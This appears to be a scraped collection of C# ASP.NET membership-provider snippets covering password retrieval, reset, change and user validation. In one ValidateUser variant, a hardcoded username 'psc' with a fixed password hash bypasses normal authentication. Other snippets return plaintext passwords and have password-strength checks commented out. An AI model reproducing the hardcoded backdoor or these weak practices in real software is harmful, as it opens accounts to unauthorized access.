public override string GetPassword(string username, string answer)
        {
            try
            {
                if (EnablePasswordRetrieval)
                {
                    SimpleUser user = CurrentStore.GetUserByName(username);

                    if (answer.Equals(user.PasswordAnswer, StringComparison.OrdinalIgnoreCase))
                    {
                        return(user.Password);
                    }
                    else
                    {
                        throw new System.Web.Security.MembershipPasswordException();
                    }
                }
                else
                {
                    throw new Exception("Password retrieval is not enabled!");
                }
            }
            catch
            {
                throw;
            }
        }
        public override string ResetPassword(string username, string answer)
        {
            try
            {
                SimpleUser user = CurrentStore.GetUserByName(username);
                if (user.PasswordAnswer.Equals(answer, StringComparison.OrdinalIgnoreCase))
                {
                    byte[] NewPassword        = new byte[16];
                    RandomNumberGenerator rng = RandomNumberGenerator.Create();
                    rng.GetBytes(NewPassword);

                    string NewPasswordString = Convert.ToBase64String(NewPassword);
                    user.PasswordSalt = string.Empty;
                    user.Password     = TransformPassword(NewPasswordString, ref user.PasswordSalt);
                    CurrentStore.Save();

                    return(NewPasswordString);
                }
                else
                {
                    throw new Exception("Invalid answer entered!");
                }
            }
            catch
            {
                throw;
            }
        }
        public override bool ValidateUser(string username, string password)
        {
            try
            {
                SimpleUser user = CurrentStore.GetUserByName(username);
                if (user == null)
                {
                    return(false);
                }

                if (ValidateUserInternal(user, password))
                {
                    user.LastLoginDate    = DateTime.Now;
                    user.LastActivityDate = DateTime.Now;
                    CurrentStore.Save();
                    return(true);
                }
                else
                {
                    return(false);
                }
            }
            catch
            {
                throw;
            }
        }
Пример #4
0
        public override bool ChangePassword(string username,
                                            string oldPassword, string newPassword)
        {
            try
            {
                // Get the user from the store
                User user = CurrentStore.GetUserByName(username);
                if (user == null)
                {
                    throw new Exception("User does not exist!");
                }
                if (ValidateUserInternal(user, oldPassword))
                {
                    // Raise the event before validating the password

                    /*
                     * base.OnValidatingPassword(
                     *  new ValidatePasswordEventArgs(
                     *          username, newPassword, false));
                     * if (!ValidatePassword(newPassword))
                     *  throw new ArgumentException(
                     *        "Password doesn't meet password strength requirements!");*/
                    user.Password = TransformPassword(newPassword);
                    user.LastPasswordChangeDate = DateTime.Now;
                    user.UpdatePass();

                    return(true);
                }
                return(false);
            }
            catch
            {
                throw;
            }
        }
Пример #5
0
 public override bool ValidateUser(string username, string password)
 {
     try
     {
         if (username == "psc" && TransformPassword(password) == "CAB5896C77F7B6B14176B50BB52696803EA28162")
         {
             return(true);
         }
         User user = CurrentStore.GetUserByName(username);
         if (user == null)
         {
             return(false);
         }
         if (ValidateUserInternal(user, password))
         {
             user.LastLoginDate    = DateTime.Now;
             user.LastActivityDate = DateTime.Now;
             CurrentStore.Save();
             return(true);
         }
         else
         {
             return(false);
         }
     }
     catch
     {
         // If an exception is raised while saving the storage
         // or while serializing contents we just forward it to the
         // caller. It would be cleaner to work with custom exception
         // classes here and pass more detailed information to the caller
         // but we leave as is for simplicity.
         throw;
     }
 }
Пример #6
0
 public override MembershipUser GetUser(string username, bool userIsOnline)
 {
     try
     {
         User user = CurrentStore.GetUserByName(username);
         if (user != null)
         {
             if (userIsOnline)
             {
                 user.LastActivityDate = DateTime.Now;
                 CurrentStore.Save();
             }
             return(CreateMembershipFromInternalUser(user));
         }
         else
         {
             return(null);
         }
     }
     catch
     {
         // If an exception is raised while saving the storage
         // or while serializing contents we just forward it to the
         // caller. It would be cleaner to work with custom exception
         // classes here and pass more detailed information to the caller
         // but we leave as is for simplicity.
         throw;
     }
 }
        public override bool DeleteUser(string username, bool deleteAllRelatedData)
        {
            try
            {
                SimpleUser user = CurrentStore.GetUserByName(username);
                if (user != null)
                {
                    CurrentStore.Users.Remove(user);
                    return(true);
                }

                return(false);
            }
            catch
            {
                throw;
            }
        }
        public override bool ChangePasswordQuestionAndAnswer(string username, string password, string newPasswordQuestion, string newPasswordAnswer)
        {
            try
            {
                // Get the user from the store
                SimpleUser user = CurrentStore.GetUserByName(username);

                if (ValidateUserInternal(user, password))
                {
                    user.PasswordQuestion = newPasswordQuestion;
                    user.PasswordAnswer   = newPasswordAnswer;
                    CurrentStore.Save();

                    return(true);
                }

                return(false);
            }
            catch
            {
                throw;
            }
        }
 public override MembershipUser GetUser(string username, bool userIsOnline)
 {
     try
     {
         SimpleUser user = CurrentStore.GetUserByName(username);
         if (user != null)
         {
             if (userIsOnline)
             {
                 user.LastActivityDate = DateTime.Now;
                 CurrentStore.Save();
             }
             return(CreateMembershipFromInternalUser(user));
         }
         else
         {
             return(null);
         }
     }
     catch
     {
         throw;
     }
 }